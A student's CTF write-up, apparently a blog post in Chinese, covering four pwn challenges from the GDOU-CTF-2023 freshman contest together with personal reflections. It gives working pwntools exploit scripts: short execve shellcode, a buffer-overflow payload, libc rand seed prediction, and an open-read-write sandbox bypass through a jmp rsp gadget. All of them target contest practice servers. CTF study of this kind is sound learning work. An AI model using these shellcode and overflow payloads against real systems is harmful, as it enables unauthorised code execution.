GDOU-CTF-2023新生赛Pwn题解与反思

第一次参加CTF新生赛总结与反思
因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。
16点30分结束,就跑回来宿舍开始写。
第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。
大概17点10的时候,写第三题,可能自己第一次遇到随机数问题,我当时的想法是网上有没有随机数种子的工具,查了一下,还真有这个库。说明了pwntools库是个宝藏,自己平时应该抽空研究一下那个库,利用好他,成为一把好工具。
后面第三题,刚结束的时候,写出来了。其实思路没有错,就是自己的脚本写的时候,想让代码看起来可读性更高(可能以前写开发项目写习惯了,强迫症),然后多取了一次随机数,导致和远程那边不同步。后面不知道怎么的,把那个变量删了,就好了,当时傻逼了。
第四题知道是orw题目,目标是读flag,但是不会写shellcode。只能说,有思路,写不出,所以后面也应该提升自己的shellcode能力。不能只会写那种比较固定的shellcode。
虽然不知道其他人情况如何,但是自己第一次参加,接触pwn还没有一个月,学习反馈还是挺满意。
一路也遇到了很多师傅,结交很多朋友!继续努力!
比赛题目总结(核心,一定要学会shellcode!)
PS:以下题目的保护权限都开得很少!!!
所以就不贴图checksec图片了!!!
要获得flag,本次比赛关键在于:会自己写简短的shellcode,会使用随机数库。
Shellcode(编写短shell)
题目思路很简单,就是shellcode,不过长度有限制。
我是自己手改pwntools。
使用pwntools生成的,本质就是执行/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
那么开始手搓,搞定!
注意,32位是int0x80,64位是syscall
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''

from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./pwn2')
io = remote('node6.anna.nssctf.cn',28961)
io.recvuntil(b'Please.')
shellcode='''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
'''
io.sendline(asm(shellcode))
io.recvuntil(b"start!")
payload = b'a' * (0xa + 8 ) + p64(0x6010A0)
io.sendline(payload)
io.interactive()
EASY PWN(直接暴力)
不用想那么多,直接随便输入垃圾数据即可
因为只要V5大于0就ok了,甚至偏移都不用想,直接乱输入
from pwn import *
context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./easypwn')
io = remote('node6.anna.nssctf.cn',28962)
payload = b'\x00'
payload = payload.ljust(0x30,b'a')
io.sendline(payload)
#io.sendlineafter(b'Password:',payload)
io.interactive()
真男人下120层(随机数库)
第一次认识,随机数这个库,然后没有什么难的
暴力循环120次即可
感觉一点都不pwn
注意脚本编写时候,别自作多情多取一次
from pwn import *
from ctypes import *
#context(log_level = 'debug',arch ='amd64',os = 'linux')
#io = process('./bin')
io=remote('node6.anna.nssctf.cn',28130)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
srand = libc.srand(srand % 3 - 1522127470)
io.recvuntil('Floor')
for i in range(121):
io.sendline(str(libc.rand( ) % 4 + 1).encode( ))
io.interactive()
Random(绕沙箱加短脚本)
程序禁了 execv,没开 NX,有 ‘jmp rsp’ 这么一个 gadget,所以往栈上写的 shellcode 是可执行且能利用到的。
很明显,是要读flag
先用pwn生成一个cat
用ljust左对齐抬高到0x28
返回地址为jmp rsp
填充 asm('sub rsp,0x30;call rsp')
那么返回的时候,执行jmp rsp,即asm('sub rsp,0x30;call rsp'),然后cat flag
太妙了!!!第一次见到这样的!
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')


from pwn import *
from ctypes import *
context(os='linux',arch='amd64',log_level='debug')
io=remote('node5.anna.nssctf.cn',28933)
#io=process('./RANDOM')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = libc.srand(libc.time(0))
for i in range(100):
io.sendlineafter('please input a guess num:',str(libc.rand( )%50).encode( ))
io.recvline()
jmp=0x40094E
shellcode=asm(shellcraft.cat('flag'))
shellcode=shellcode.ljust(0x28,b'\x00')
payload=shellcode+p64(jmp)+asm('sub rsp,0x30;call rsp')
io.send(payload)
io.interactive()
GDOU-CTF-2023新生赛Pwn题解与反思的更多相关文章
- 2018.11.26 QLU新生赛部分题解
问题 L: 寄蒜几盒? 题目描述 现在有一个圆圈,圆圈上有若干个点,请判断能否在若干个点中选择三个点两两相连组成一个等边三角形? 这若干个点在圆圈上按顺时针顺序分布. 如果可以的话输出"Ye ...
- 使用pwn_deploy_chroot部署国赛pwn比赛题目
目录 使用pwn_deploy_chroot部署国赛pwn比赛题目 一.前言 二.Docker 三.部署镜像 四.pwn_deploy_chroot 五.check && exp 六. ...
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- CTF线下赛AWD套路小结
近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...
- CTF线下赛AWD模式下的生存技巧
作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- 电信学院第一届新生程序设计竞赛题解及std
首先非常感谢各位同学的参加,还有出题验题同学的辛勤付出 昨天想偷懒就是不想再把我C++11的style改没了,大家看不懂的可以百度一下哦,懒得再写gcc了,毕竟代码是通的 //代表的是行注释,所以那个 ...
- 【题解】Comet OJ 国庆欢乐赛 简要题解
[题解]Comet OJ 国庆欢乐赛 简要题解 A 直接做 B 直接做,结论: \[ ans=\max([Max\ge \mathrm{sum}] Max,s[n]/2) \] C 考虑这样一个做法: ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
随机推荐
- logging 模块详解
日志记录函数以它们用来跟踪的事件的级别或严重性命名.下面描述了标准级别及其适用性(从高到低的顺序) 日志等级(level) 描述DEBUG 最详细的日志信息,典型应用场景是 问题诊断INFO 信息详细 ...
- 【SQL】数据库日志文件过大 4条命令删除日志
USE DATATABLE GO ALTER DATABASE DATATABLE SET RECOVERY SIMPLE DBCC SHRINKFILE (DATATABLE_Log, 1) ALT ...
- js字符串常用的方法
1. charAt( ) 获取指定下标处的字符 let str = 'hello' console.log(str.charAt(0));//h 2. charCodeAt 获取下标出的字符的Un ...
- vscode配置c++环境(超简单)
vscode配置c++环境(超简单) 超简单!!! 配置c++最麻烦的就是mingw的环境,有很多不同的版本,很杂乱,这里我们用最简单的办法展示. 下载一个devc++. 如果你问我,为什么下了dev ...
- .net Core使用Knife4jUI更换Swagger皮肤
Knife4j的前身是swagger-bootstrap-ui,前身swagger-bootstrap-ui是一个纯swagger-ui的ui皮肤项目 官网实战指南:https://doc.xiaom ...
- element表格样式的修改
修改表格头部背景 .el-table th{ background: #f00; } 修改表格行背景 .el-table tr{ background: #f00; } 修改斑马线表格的背景 .el- ...
- 网络基础-分层思想和TCP/TP协议族
一 .分层思想 首先,什么是分层?1984年国际标准化组织(iso)颁布了开放系统互联(osi)参考模型:一个开放式体系结构,将网络分成七层. 分层 功能 应用层 网络服务与最终用户的一个接口 表示层 ...
- HTTPS、HTTP/2前端入门篇
随着网络安全重要性日益凸显,越来越多的站点已经全站切换到HTTPS,其中很多HTTPS站点同时将HTTP协议升级到了HTTP/2.作为一只前端,最近一直在学习和应用相关知识点,便总结梳理如下. 一.何 ...
- excel里面嵌入一个表格
excel里怎么嵌入表格 excel是我们工作中经常会用的软件,有时两表格想放在一起比较,但是行高列宽调起来顾此失彼,so: 软件版本:Microsoft Office Excel 2010 操作系统 ...
- 痞子衡嵌入式:RISC-V指令集架构MCU开发那些事 - 索引
大家好,我是痞子衡,是正经搞技术的痞子.本系列痞子衡给大家介绍的是RISC-V指令集架构微控制器相关知识. RISC-V指令集最早要追溯到2010年,是加州大学伯克利分校的一个研究团队的项目,目标是设 ...

